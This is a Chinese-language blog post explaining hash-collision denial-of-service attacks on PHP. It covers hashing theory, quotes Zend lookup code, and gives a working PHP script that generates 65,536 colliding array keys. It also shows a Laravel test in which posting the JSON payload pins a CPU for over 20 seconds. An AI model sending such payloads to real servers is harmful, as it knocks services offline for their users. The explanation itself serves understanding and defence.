664
PHP Hash Collision攻擊原理
之前介紹了所有語言通用的Hash Collision攻擊原理 一種高級的DoS攻擊-Hash碰撞攻擊 ，介紹的比較寬泛。因為Java相關的Hash Collision文章比較少，所以最先寫了Java的攻擊原理 Java Hash Collision之數據生產。
網上關於PHP Hash Collision的文章特別多，得益於很多年前鳥哥的一篇文章 PHP數組的Hash衝突實例，因為這篇文章讓行業內的PHPer們都願意花時間去了解。
哈希表是一種查找效率極高的數據結構，PHP中的哈希表用於表示Array數據類型，在Zend虛擬機內部也用於存儲上下文環境信息（執行上下文的變量及函數均使用哈希表結構存儲）。
理想情況下哈希表插入和查找操作的時間複雜度均為O(1)，任何一個數據項可以在一個與哈希表長度無關的時間內計算出一個哈希值（key），然後在常量時間內定位到一個桶（術語bucket，表示哈希表中的一個位置）。當然這是理想情況下，因為任何哈希表的長度都是有限的，所以一定存在不同的數據項具有相同哈希值的情況，此時不同數據項被定為到同一個桶，稱為碰撞（collision）。哈希表的實現需要解決碰撞問題，碰撞解決大體有兩種思路，第一種是根據某種原則將被碰撞數據定為到其它桶，例如線性探測——如果數據在插入時發生了碰撞，則順序查找這個桶後麵的桶，將其放入第一個沒有被使用的桶；第二種策略是每個桶不是一個隻能容納單個數據項的位置，而是一個可容納多個數據的數據結構（例如鏈表或紅黑樹），所有碰撞的數據以某種數據結構的形式組織起來。
不論使用了哪種碰撞解決策略，都導致插入和查找操作的時間複雜度不再是O(1)。以查找為例，不能通過key定位到桶就結束，必須還要比較原始key（即未做哈希之前的key）是否相等，如果不相等，則要使用與插入相同的算法繼續查找，直到找到匹配的值或確認數據不在哈希表中。
PHP是使用單鏈表存儲碰撞的數據，因此實際上PHP哈希表的平均查找複雜度為O(L)，其中L為桶鏈表的平均長度；而最壞複雜度為O(N)，此時所有數據全部碰撞，哈希表退化成單鏈表。哈希表結構如下圖
Hash Function也叫哈希散列函數，通過散列函數我們能將各種類型的key轉換為有限空間內的一個內存地址。常見的散列函數有MD5，SHA*。不過HashTable中基本不會用MD5，SHA*算法,因為這兩類算法太耗時，基本所有的編程語言都會選擇Times*類型算法，比如Times31,times33,times37。Java使用的Hash算法為Times31，PHP使用的Hash算法為times33……
一. PHP Hash function實現
PHP HashTable的哈希算法如下：
hash(key)=key & nTableMask
即簡單將數據的原始key與HashTable的nTableMask進行按位與即可。如果原始key為字符串，則首先使用Times33算法將字符串轉為整形再與nTableMask按位與。
hash(strkey)=time33(strkey) & nTableMask
下麵是Zend源碼中查找哈希表的代碼：
ZEND_API int zend_hash_index_find(const HashTable *ht, ulong h, void **pData)
{
uint nIndex;
Bucket *p;
IS_CONSISTENT(ht);
//獲取索引
nIndex = h & ht->nTableMask;
p = ht->arBuckets[nIndex];
while (p != NULL) {
if ((p->h == h) && (p->nKeyLength == 0)) {
*pData = p->pData;
return SUCCESS;
}
p = p->pNext;
}
return FAILURE;
}
//用於查找字符串key
ZEND_API int zend_hash_find(const HashTable *ht, const char *arKey, uint nKeyLength, void **pData)
{
ulong h;
uint nIndex;
Bucket *p;
IS_CONSISTENT(ht);
h = zend_inline_hash_func(arKey, nKeyLength);
//獲取索引
nIndex = h & ht->nTableMask;
p = ht->arBuckets[nIndex];
while (p != NULL) {
if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
if (!memcmp(p->arKey, arKey, nKeyLength)) {
*pData = p->pData;
return SUCCESS;
}
}
p = p->pNext;
}
return FAILURE;
}
二. 通過PHP zend_hash_index_find函數實現逆推
知道了PHP內部哈希表的算法，就可以利用其原理構造用於攻擊的數據。一種最簡單的方法是利用掩碼規律製造碰撞。上文提到Zend HashTable的長度nTableSize會被圓整為2的整數次冪，假設我們構造一個2^16的哈希表，則nTableSize的二進製表示為：1 0000 0000 0000 0000，而nTableMask = nTableSize – 1為：0 1111 1111 1111 1111。接下來，可以以0為初始值，以2^16為步長，製造足夠多的數據，可以得到如下推測：
0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0
……
概況來說隻要保證後16位均為0，則與掩碼位於後得到的哈希值全部碰撞在位置0。
三. 通過腳本批量產出碰撞數據
如上我們已經推算出碰撞數據的實現方式，接下來我通過PHP生成碰撞數據。如果要生成大量的碰撞數據，這裏最好不要使用PHP來生成，因為操作不當就會變成攻擊自己的腳本。
$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$maxKey = ($size - 1) * $size;
$startTime = microtime(true);
$array = [];
for ($key = 0; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
file_put_contents("t.log",json_encode($array));
$endTime = microtime(true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
最後我們生成了如下數據(截取了前麵幾條)：
{
"0":0,
"65536":0,
"131072":0,
"196608":0,
"262144":0,
"327680":0,
"393216":0,
"458752":0,
"524288":0,
"589824":0,
"655360":0,
"720896":0
}
四. 在PHP中測試碰撞數據
通過程序我們生成了65536條碰撞數據，然後在Laravel中做個簡單的測試，測試代碼如下：
public function posts(){
$startTime = microtime(true);
//獲取http body中的數據
$rest = $this->request->getContent();
json_decode($rest,true);
$endTime = microtime(true);
echo ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
}
測試結果，一個CPU被打到100%，持續了20多秒。結束該php-fpm進程後恢複。
至此寫了三篇關於HashTable的文章，前兩篇文章開頭都有鏈接，能幫助大家對HahsTable有更深的理解，之後不會再更新HashTable相關的文章了。
我的博客原文地址：PHP Hash Collision攻擊原理
最後更新：2017-06-08 21:32:11